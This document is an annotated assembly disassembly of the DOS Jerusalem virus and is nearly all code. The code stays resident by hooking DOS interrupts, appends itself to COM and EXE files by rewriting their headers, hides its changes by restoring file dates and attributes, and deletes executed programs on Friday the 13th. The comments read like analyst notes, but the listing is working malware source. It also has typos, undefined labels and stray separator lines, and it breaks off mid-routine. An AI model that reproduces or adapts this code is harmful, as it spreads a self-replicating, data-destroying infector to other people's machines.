; JERUSALEM VIRUS ;
|
||||
;-----------------------------------------------------------------------;
|
||||
BEGIN_COM: ;COM FILES START HERE
|
||||
JMP CONTINUE ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
A0103 DB 073H,055H
|
||||
|
||||
MS_DOS DB 'MsDos' ;
|
||||
|
||||
DB 000H,001H,015H,018H
|
||||
|
||||
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
|
||||
|
||||
DB 000H
|
||||
A0010 DB 000H
|
||||
|
||||
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
|
||||
|
||||
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
|
||||
|
||||
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
|
||||
OLD_24 DW 0556H,16A5H ;001B
|
||||
|
||||
A_FLAG DW 7E48H ;???
|
||||
|
||||
A0021 DB 000H,000H,000H,000H,000H,000H,000H
|
||||
DB 000H,000H,000H,000H
|
||||
|
||||
A002C DW 0 ;A SEGMENT
|
||||
|
||||
DB 000H,000H
|
||||
A0030 DB 000H
|
||||
|
||||
A0031 DW 0178EH ;OLD ES VALUE
|
||||
|
||||
A0033 DW 0080H ;
|
||||
;
|
||||
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
|
||||
DW 80H ;COMMAND LINE ADDRESS
|
||||
DW 178EH ;+4
|
||||
DW 005CH ;FCB #1 ADDRESS
|
||||
DW 178EH ;+8
|
||||
DW 006CH ;FCB #2 ADDRESS
|
||||
DW 0178EH ;+12
|
||||
;
|
||||
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
|
||||
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
|
||||
HOST_IP DW 00C5H ;
|
||||
HOST_CS DW 347AH ;
|
||||
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
|
||||
;
|
||||
A004B DW 0F010H ;
|
||||
A004D DB 82H ;
|
||||
A004E DB 0 ;
|
||||
|
||||
EXE_HDR DB 1CH DUP (?) ;004F
|
||||
|
||||
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
|
||||
|
||||
HANDLE DW 0005H ;0070
|
||||
HOST_ATT DW 0020H ;0072
|
||||
HOST_DATE DW 0021H ;0074
|
||||
HOST_TIME DW 002DH ;0076
|
||||
|
||||
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
|
||||
|
||||
A007A DW 0010H
|
||||
|
||||
HOST_SIZE DW 27C0H,0001H ;007C
|
||||
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
|
||||
|
||||
COMMAND_COM DB 'COMMAND.COM'
|
||||
|
||||
DB 1
|
||||
A0090 DB 0,0,0,0,0
|
||||
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
CONTINUE: ;
|
||||
CLD ;
|
||||
MOV AH,0E0H ;DO A ???...
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L01B5 ;
|
||||
CMP AH,3 ;
|
||||
JC L01B5 ;
|
||||
;
|
||||
MOV AH,0DDH ;
|
||||
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
|
||||
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
|
||||
ADD SI,DI ;SI = BEGINNING OF HOST CODE
|
||||
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
|
||||
INT 21H ;
|
||||
;
|
||||
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
|
||||
ADD AX,10H ;
|
||||
MOV SS,AX ;SS = TWEEKed CS
|
||||
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
|
||||
;
|
||||
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
|
||||
;
|
||||
PUSH AX ;JMP FAR CS+10H:IP-100H
|
||||
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
|
||||
PUSH AX ;
|
||||
RETF ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
ORG 0C5h ;
|
||||
;---------------------------------------;
|
||||
;
|
||||
BEGIN_EXE: ;EXE FILES START HERE
|
||||
CLD ;
|
||||
PUSH ES ;
|
||||
;
|
||||
MOV CS:[A0031],ES ;
|
||||
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
|
||||
MOV CS:[EXEC_BLOCK+8],ES ;
|
||||
MOV CS:[EXEC_BLOCK+12],ES ;
|
||||
;
|
||||
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
|
||||
ADD AX,10H ;
|
||||
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
|
||||
ADD CS:[HOST_SS],AX ;
|
||||
;
|
||||
MOV AH,0E0H ;
|
||||
INT 21H ;
|
||||
;
|
||||
CMP AH,0E0H ;
|
||||
JNC L0106 ;00F1 7313
|
||||
;
|
||||
CMP AH,3 ;
|
||||
POP ES ;00F6
|
||||
MOV SS,CS:[HOST_SS] ;
|
||||
MOV SP,CS:[HOST_SP] ;
|
||||
JMP far CS:[HSOT_IP] ;
|
||||
;
|
||||
L0106: XOR AX,AX ;0106 33C0
|
||||
MOV ES,AX ;0108 8EC0
|
||||
MOV AX,ES:[03FC] ;010A 26A1FC03
|
||||
MOV CS:[A004B],AX ;010E 2EA34B00
|
||||
MOV AL,ES:[03FE] ;0112 26A0FE03
|
||||
MOV CS:[A004D],AL ;0116 2EA24D00
|
||||
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
|
||||
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
|
||||
POP AX ;0127 58
|
||||
ADD AX,10H ;0128 051000
|
||||
MOV ES,AX ;012B 8EC0
|
||||
PUSH CS ;012D 0E
|
||||
POP DS ;012E 1F
|
||||
MOV CX,710H ;SIZE OF VIRUS CODE
|
||||
SHR CX,1 ;0132 D1E9
|
||||
XOR SI,SI ;0134 33F6
|
||||
MOV DI,SI ;0136 8BFE
|
||||
PUSH ES ;0138 06
|
||||
MOV AX,0142 ;0139 B84201
|
||||
PUSH AX ;013C 50
|
||||
JMP 0000:03FC ;013D EAFC030000
|
||||
;
|
||||
MOV AX,CS ;0142 8CC8
|
||||
MOV SS,AX ;0144 8ED0
|
||||
MOV SP,700H ;0146 BC0007
|
||||
XOR AX,AX ;0149 33C0
|
||||
MOV DS,AX ;014B 8ED8
|
||||
MOV AX,CS:[A004B] ;014D 2EA14B00
|
||||
MOV [03FC],AX ;0151 A3FC03
|
||||
MOV AL,CS:[A004D] ;0154 2EA04D00
|
||||
MOV [03FE],AL ;0158 A2FE03
|
||||
MOV BX,SP ;015B 8BDC
|
||||
MOV CL,04 ;015D B104
|
||||
SHR BX,CL ;015F D3EB
|
||||
ADD BX,+10 ;0161 83C310
|
||||
MOV CS:[A0033],BX ;
|
||||
;
|
||||
MOV AH,4AH ;
|
||||
MOV ES,CS:[A0031] ;
|
||||
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
|
||||
;
|
||||
MOV AX,3521 ;
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_21],BX ;
|
||||
MOV CS:[OLD_21+2],ES ;
|
||||
;
|
||||
PUSH CS ;0181 0E
|
||||
POP DS ;0182 1F
|
||||
MOV DX,offset NEW_INT_21 ;0183 BA5B02
|
||||
MOV AX,2521 ;
|
||||
INT 21H ;SAVE VECTOR
|
||||
;
|
||||
MOV ES,[A0031] ;018B 8E063100
|
||||
MOV ES,ES:[A002C] ;018F 268E062C00
|
||||
XOR DI,DI ;0194 33FF
|
||||
MOV CX,7FFFH ;0196 B9FF7F
|
||||
XOR AL,AL ;0199 32C0
|
||||
REPNE SCASB ;019C AE
|
||||
CMP ES:[DI],AL ;019D 263805
|
||||
LOOPNZ 019B ;01A0 E0F9
|
||||
MOV DX,DI ;01A2 8BD7
|
||||
ADD DX,+03 ;01A4 83C203
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
PUSH ES ;
|
||||
POP DS ;
|
||||
PUSH CS ;
|
||||
POP ES ;
|
||||
MOV BX,35H ;
|
||||
;
|
||||
PUSH DS ;01B1 ;
|
||||
PUSH ES ;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
;
|
||||
MOV AH,2AH ;
|
||||
INT 21H ;GET DATE
|
||||
;
|
||||
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
|
||||
;
|
||||
CMP CX,1987 ;IF 1987...
|
||||
JE L01F7 ;...JUMP
|
||||
CMP AL,5 ;IF NOT FRIDAY...
|
||||
JNE L01D8 ;...JUMP
|
||||
CMP DL,0DH ;IF DATE IS NOT THE 13th...
|
||||
JNE L01D8 ;...JUMP
|
||||
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
|
||||
JMP L01F7 ;
|
||||
;
|
||||
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV CS:[OLD_08],BX ;
|
||||
MOV CS:[OLD_08],ES ;
|
||||
;
|
||||
PUSH CS ;DS=CS
|
||||
POP DS ;
|
||||
;
|
||||
MOV Word ptr [A_FLAG],7E90H ;
|
||||
;
|
||||
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
|
||||
MOV DX,offset NEW_08 ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
L01F7: POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POP ES ;
|
||||
POP DS ;
|
||||
PUSHF ;
|
||||
CALL far CS:[OLD_21] ;
|
||||
PUSH DS ;
|
||||
POP ES ;
|
||||
;
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
MOV AH,4DH ;
|
||||
INT 21H ;GET RETURN CODE OF A SUBPROCESS
|
||||
;
|
||||
;---------------------------------------;
|
||||
; THIS IS WHERE WE REMAIN RESIDENT ;
|
||||
;---------------------------------------;
|
||||
MOV AH,31H ;
|
||||
MOV DX,0600H ;020F ;
|
||||
MOV CL,04 ;
|
||||
SHR DX,CL ;
|
||||
ADD DX,10H ;
|
||||
INT 21H ;TERMINATE AND REMAIN RESIDENT
|
||||
;
|
||||
;---------------------------------------;
|
||||
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
|
||||
IRET ;
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
|
||||
JNE N08_10 ;IF ... JUMP
|
||||
;
|
||||
PUSH AX ;
|
||||
PUSH BX ;
|
||||
PUSH CX ;
|
||||
PUSH DX ;
|
||||
PUSH BP ;
|
||||
MOV AX,0602H ;SCROLL UP TWO LINES
|
||||
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
|
||||
MOV CX,0505H ;UPPER LEFT CORNER
|
||||
MOV DX,1010H ;LOWER RIGHT CORNER
|
||||
INT 10H ;
|
||||
POP BP ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
|
||||
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
|
||||
MOV Word ptr CS:[A_FLAG],1 ;
|
||||
;
|
||||
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
|
||||
PUSH CX ;
|
||||
PUSH SI ;
|
||||
MOV CX,4001H ;
|
||||
REP LODSB ;
|
||||
POP SI ;
|
||||
POP CX ;
|
||||
POP AX ;
|
||||
;
|
||||
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; NEW INTERRUPT 21 HANDLER ;
|
||||
;-----------------------------------------------------------------------;
|
||||
NEW_21: PUSHF ;025B ;
|
||||
CMP AH,0E0H ;IF A E0 REQUEST...
|
||||
JNE N21_10 ;
|
||||
MOV AX,300H ;...RETURN AX = 300H
|
||||
POPF ; (OUR PUSHF)
|
||||
IRET ;
|
||||
;
|
||||
N21_10: CMP AH,0DDH ;0266 ;
|
||||
JE N21_30 ;IF DDH...JUMP TO _30
|
||||
CMP AH,0DEH ;
|
||||
JE N21_40 ;IF DEH...JUMP TO _40
|
||||
CMP AX,4B00H ;IF SPAWN A PROG...
|
||||
JNE N21_20 ;
|
||||
JMP N21_50 ;...JUMP TO _50
|
||||
;
|
||||
N21_20: POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
|
||||
;
|
||||
N21_30: POP AX ;REMOVE OUR (PUSHF)
|
||||
POP AX ;?
|
||||
MOV AX,100H ;
|
||||
MOV CS:[000A],AX ;
|
||||
POP AX ;
|
||||
MOV CS:[000C],AX ;
|
||||
REP MOVSB ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS:[000F] ;
|
||||
JMP far CS:[000A] ;
|
||||
;
|
||||
N21_40: ADD SP,+06 ;0298 ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS ;
|
||||
MOV SS,AX ;
|
||||
MOV SP,710H ;SIZE OF VIRUS CODE
|
||||
PUSH ES ;
|
||||
PUSH ES ;02A4 06
|
||||
XOR DI,DI ;02A5 33FF
|
||||
PUSH CS ;02A7 0E
|
||||
POP ES ;02A8 07
|
||||
MOV CX,0010 ;02A9 B91000
|
||||
MOV SI,BX ;02AC 8BF3
|
||||
MOV DI,0021 ;02AE BF2100
|
||||
REP MOVSB ;02B2 A4
|
||||
MOV AX,DS ;02B3 8CD8
|
||||
MOV ES,AX ;02B5 8EC0
|
||||
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
|
||||
ADD AX,CS:[002B] ;02BC 2E03062B00
|
||||
ADC DX,+00 ;02C1 83D200
|
||||
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
|
||||
MOV DS,AX ;02C9 8ED8
|
||||
MOV SI,DX ;02CB 8BF2
|
||||
MOV DI,DX ;02CD 8BFA
|
||||
MOV BP,ES ;02CF 8CC5
|
||||
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
|
||||
OR BX,BX ;02D6 0BDB
|
||||
JE 02ED ;02D8 7413
|
||||
MOV CX,8000 ;02DA B90080
|
||||
REP MOVSW ;02DE A5
|
||||
ADD AX,1000 ;02DF 050010
|
||||
ADD BP,1000 ;02E2 81C50010
|
||||
MOV DS,AX ;02E6 8ED8
|
||||
MOV ES,BP ;02E8 8EC5
|
||||
DEC BX ;02EA 4B
|
||||
JNE 02DA ;02EB 75ED
|
||||
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
|
||||
REP MOVSB ;02F3 A4
|
||||
POP AX ;02F4 58
|
||||
PUSH AX ;02F5 50
|
||||
ADD AX,0010 ;02F6 051000
|
||||
ADD CS:[0029],AX ;02F9 2E01062900
|
||||
ADD CS:[0025],AX ;02FE 2E01062500
|
||||
MOV AX,CS:[0021] ;0303 2EA12100
|
||||
POP DS ;0307 1F
|
||||
POP ES ;0308 07
|
||||
MOV SS,CS:[0029] ;0309 2E8E162900
|
||||
MOV SP,CS:[0027] ;030E 2E8B262700
|
||||
JMP far CS:[0023] ;0313 2EFF2E2300
|
||||
;
|
||||
;---------------------------------------;
|
||||
; IT IS TIME FOR THIS FILE TO DIE... ;
|
||||
; THIS IS WHERE IT GETS DELETED ! ;
|
||||
;---------------------------------------;
|
||||
N21_5A: XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE (ATT=0)
|
||||
;
|
||||
MOV AH,41H ;
|
||||
INT 21H ;DELETE A FILE
|
||||
;
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; START INFECTION ;
|
||||
;---------------------------------------;
|
||||
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
|
||||
JE N21_5A ;...JUMP
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
|
||||
MOV Word ptr CS:[A008F],0 ;
|
||||
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
|
||||
MOV word ptr CS:[HOST_NAME+2],DS ;
|
||||
;
|
||||
;INFECT PROCESS SEEMS TO OCCUR HERE ;
|
||||
PUSH AX ;034C 50
|
||||
PUSH BX ;034D 53
|
||||
PUSH CX ;034E 51
|
||||
PUSH DX ;034F 52
|
||||
PUSH SI ;0350 56
|
||||
PUSH DI ;0351 57
|
||||
PUSH DS ;0352 1E
|
||||
PUSH ES ;0353 06
|
||||
CLD ;0354 FC
|
||||
MOV DI,DX ;0355 8BFA
|
||||
XOR DL,DL ;0357 32D2
|
||||
CMP Byte ptr [DI+01],3A ;0359 807D013A
|
||||
JNE L0364 ;035D 7505
|
||||
MOV DL,[DI] ;035F 8A15
|
||||
AND DL,1F ;0361 80E21F
|
||||
;
|
||||
L0364: MOV AH,36 ;
|
||||
INT 21H ;GET DISK FREE SPACE
|
||||
CMP AX,-1 ;0368 3DFFFF
|
||||
JNE L0370 ;036B 7503
|
||||
L036D: JMP I_90 ;036D E97702
|
||||
;
|
||||
L0370: MUL BX ;0370 F7E3
|
||||
MUL CX ;0372 F7E1
|
||||
OR DX,DX ;0374 0BD2
|
||||
JNE L037D ;0376 7505
|
||||
CMP AX,710H ;0378 3D1007
|
||||
JC L036D ;037B 72F0
|
||||
L037D: MOV DX,word ptr CS:[HOST_NAME]
|
||||
PUSH DS ;0382 1E
|
||||
POP ES ;0383 07
|
||||
XOR AL,AL ;0384 32C0
|
||||
MOV CX,41 ;0386 B94100
|
||||
REPNE SCASB ;038A AE
|
||||
MOV SI,word ptr CS:[HOST_NAME]
|
||||
L0390: MOV AL,[SI] ;0390 8A04
|
||||
OR AL,AL ;0392 0AC0
|
||||
JE L03A4 ;0394 740E
|
||||
CMP AL,61 ;0396 3C61
|
||||
JC L03A1 ;0398 7207
|
||||
CMP AL,7A ;039A 3C7A
|
||||
JA L03A1 ;039C 7703
|
||||
SUB Byte ptr [SI],20 ;039E 802C20
|
||||
L03A1: INC SI ;03A1 46
|
||||
JMP L0390 ;03A2 EBEC
|
||||
;
|
||||
L03A4: MOV CX,000B ;03A4 B90B00
|
||||
SUB SI,CX ;03A7 2BF1
|
||||
MOV DI,offset COMMAND_COM ;03A9 BF8400
|
||||
PUSH CS ;03AC 0E
|
||||
POP ES ;03AD 07
|
||||
MOV CX,000B ;03AE B90B00
|
||||
REPE CMPSB ;03B2 A6
|
||||
JNE L03B8 ;03B3 7503
|
||||
JMP I_90 ;03B5 E92F02
|
||||
;
|
||||
L03B8: MOV AX,4300H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
JC L03C4 ;03BD 7205
|
||||
;
|
||||
MOV CS:[HOST_ATT],CX ;03BF ;
|
||||
L03C4: JC L03EB ;03C4 7225
|
||||
XOR AL,AL ;03C6 32C0
|
||||
MOV CS:[A004E],AL ;03C8 2EA24E00
|
||||
PUSH DS ;03CC 1E
|
||||
POP ES ;03CD 07
|
||||
MOV DI,DX ;03CE 8BFA
|
||||
MOV CX,41 ;03D0 B94100
|
||||
REPNZ SCASB ;03D4 AE
|
||||
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
|
||||
JE L03E6 ;03D9 740B
|
||||
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
|
||||
JE L03E6 ;03DF 7405
|
||||
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
|
||||
;
|
||||
L03E6: MOV AX,3D00H ;
|
||||
INT 21H ;OPEN FILE READ ONLY
|
||||
L03EB: JC L0447 ;
|
||||
MOV CS:[HANDLE],AX ;03ED ;
|
||||
;
|
||||
MOV BX,AX ;MOVE TO END OF FILE -5
|
||||
MOV AX,4202 ;
|
||||
MOV CX,-1 ;FFFFFFFB
|
||||
MOV DX,-5 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
JC L03EB ;
|
||||
;
|
||||
ADD AX,5 ;0400 ;
|
||||
MOV CS:[A0011],AX ;?SAVE HOST SIZE
|
||||
;
|
||||
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
|
||||
MOV DX,offset A006B ;
|
||||
MOV AX,CS ;
|
||||
MOV DS,AX ;
|
||||
MOV ES,AX ;
|
||||
MOV AH,3FH ;
|
||||
INT 21H ;READ FROM A FILE
|
||||
;
|
||||
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
|
||||
MOV SI,offset MS_DOS ;
|
||||
REPE CMPSB ;
|
||||
JNE L0427 ;
|
||||
MOV AH,3E ;IF == 'MsDos'...
|
||||
INT 21H ;CLOSE FILE
|
||||
JMP I_90 ;...PASS CONTROL TO DOS
|
||||
;
|
||||
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV [OLD_24],BX ;
|
||||
MOV [OLD_24+2],ES ;
|
||||
;
|
||||
MOV DX,offset NEW_24 ;
|
||||
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
LDS DX,dword ptr [HOST_NAME];
|
||||
XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
L0447: JC L0484 ;
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;
|
||||
MOV AH,3E ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
|
||||
;
|
||||
MOV AX,3D02 ;
|
||||
INT 21H ;OPEN FILE R/W
|
||||
JC L0484 ;
|
||||
;
|
||||
MOV CS:[HANDLE],AX ;0460 2EA37000
|
||||
MOV AX,CS ;0464 8CC8
|
||||
MOV DS,AX ;0466 8ED8
|
||||
MOV ES,AX ;0468 8EC0
|
||||
MOV BX,[HANDLE] ;046A 8B1E7000
|
||||
MOV AX,5700 ;046E B80057
|
||||
INT 21H ;GET/SET FILE DATE TIME
|
||||
;
|
||||
MOV [HOST_DATE],DX ;0473 89167400
|
||||
MOV [HOST_TIME],CX ;0477 890E7600
|
||||
MOV AX,4200 ;047B B80042
|
||||
XOR CX,CX ;047E 33C9
|
||||
MOV DX,CX ;0480 8BD1
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0484: JC L04C3 ;0484 723D
|
||||
;
|
||||
CMP Byte ptr [A004E],00 ;0486 803E4E0000
|
||||
JE L0490 ;048B 7403
|
||||
JMP L04E6 ;048D EB57
|
||||
;
|
||||
NOP ;048F 90
|
||||
L0490: MOV BX,1000 ;0490 BB0010
|
||||
MOV AH,48 ;0493 B448
|
||||
INT 21H ;ALLOCATE MEMORY
|
||||
JNC L04A4 ;0497 730B
|
||||
;
|
||||
MOV AH,3E ;0499 B43E
|
||||
MOV BX,[HANDLE] ;049B 8B1E7000
|
||||
INT 21H ;CLOSE FILE
|
||||
JMP I_90 ;04A1 E94301
|
||||
;
|
||||
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
|
||||
MOV ES,AX ;04A8 8EC0
|
||||
XOR SI,SI ;04AA 33F6
|
||||
MOV DI,SI ;04AC 8BFE
|
||||
MOV CX,710H ;04AE B91007
|
||||
REP MOVSB ;04B2 A4
|
||||
MOV DX,DI ;04B3 8BD7
|
||||
MOV CX,[A0011] ;?GET HOST SIZE
|
||||
MOV BX,[70H] ;04B9 8B1E7000
|
||||
PUSH ES ;04BD 06
|
||||
POP DS ;04BE 1F
|
||||
MOV AH,3FH ;04BF B43F
|
||||
INT 21H ;READ FROM A FILE
|
||||
L04C3: JC L04E1 ;04C3 721C
|
||||
;
|
||||
ADD DI,CX ;04C5 03F9
|
||||
;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
;
|
||||
MOV SI,offset MS_DOS ;04D0 BE0500
|
||||
MOV CX,5 ;04D3 B90500
|
||||
REP CS:MOVSB ;04D7 2EA4
|
||||
MOV CX,DI ;04D9 8BCF
|
||||
XOR DX,DX ;04DB 33D2
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L04E1: JC L04F0 ;
|
||||
JMP L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; READ EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,3F ;
|
||||
INT 21H ;READ FILE
|
||||
JC L053C ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; TWEEK EXE HEADER TO INFECTED HSOT ;
|
||||
;---------------------------------------;
|
||||
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
|
||||
MOV AX,[EXE_HDR+14] ; SS
|
||||
MOV [HOST_SS],AX ;
|
||||
MOV AX,[EXE_HDR+16] ; SP
|
||||
MOV [HOST_SP],AX ;
|
||||
MOV AX,[EXE_HDR+20] ; IP
|
||||
MOV [HOST_IP],AX ;
|
||||
MOV AX,[EXE_HDR+22] ; CS
|
||||
MOV [HOST_CS],AX ;
|
||||
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
|
||||
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
|
||||
JZ L051B ;IF FILE SIZE==0...JMP
|
||||
DEC AX ;
|
||||
L051B: MUL Word ptr [BLOCK_SIZE] ;
|
||||
ADD AX,[EXE_HDR+2] ;
|
||||
ADC DX,0 ;AX NOW = FILE SIZE
|
||||
;
|
||||
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
|
||||
ADC DX,0 ;
|
||||
AND AX,0FFF0H ;
|
||||
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
|
||||
MOV [HOST_SIZE+2],DX ;
|
||||
;
|
||||
ADD AX,710H ;(SIZE OF VIRUS)
|
||||
ADC DX,0 ;
|
||||
L053C: JC L0578 ;IF > FFFFFFFF...JMP
|
||||
DIV Word ptr [BLOCK_SIZE] ;
|
||||
OR DX,DX ;
|
||||
JE L0547 ;
|
||||
INC AX ;
|
||||
L0547: MOV [EXE_HDR+4],AX ;
|
||||
MOV [EXE_HDR+2],DX ;
|
||||
;---------------;
|
||||
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
|
||||
MOV DX,[HOST_SIZE+2] ;
|
||||
DIV Word ptr [A007A] ;
|
||||
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
|
||||
MOV [EXE_HDR+22],AX ;VALUE OF CS
|
||||
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
|
||||
MOV [EXE_HDR+14],AX ;VALUE OF SS
|
||||
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
|
||||
;---------------;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0578: JC L0584 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE INFECTED EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
MOV CX,1CH ;
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L0584: JC L0597 ;
|
||||
CMP AX,CX ;
|
||||
JNE L05A2 ;
|
||||
;
|
||||
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
|
||||
MOV CX,[HOST_SIZE+2] ;
|
||||
MOV AX,4200 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0597: JC L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE VIRUS CODE TO END OF HOST ;
|
||||
;---------------------------------------;
|
||||
XOR DX,DX ;
|
||||
MOV CX,710H ;(SIZE OF VIRUS)
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
;
|
||||
L05A2: CMP Word ptr CS:[008F],0 ;IF...
|
||||
JZ L05AE ;...SKIP
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
|
||||
JE I_90 ;...SKIP
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
|
||||
MOV DX,CS:[HOST_DATE] ;
|
||||
MOV CX,CS:[HOST_TIME] ;
|
||||
MOV AX,5701H ;
|
||||
INT 21H ;GET/SET FILE DATE/TIME
|
||||
;
|
||||
MOV AH,3EH ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
|
||||
MOV CX,CS:[HOST_ATT] ;
|
||||
MOV AX,4301H ;
|
||||
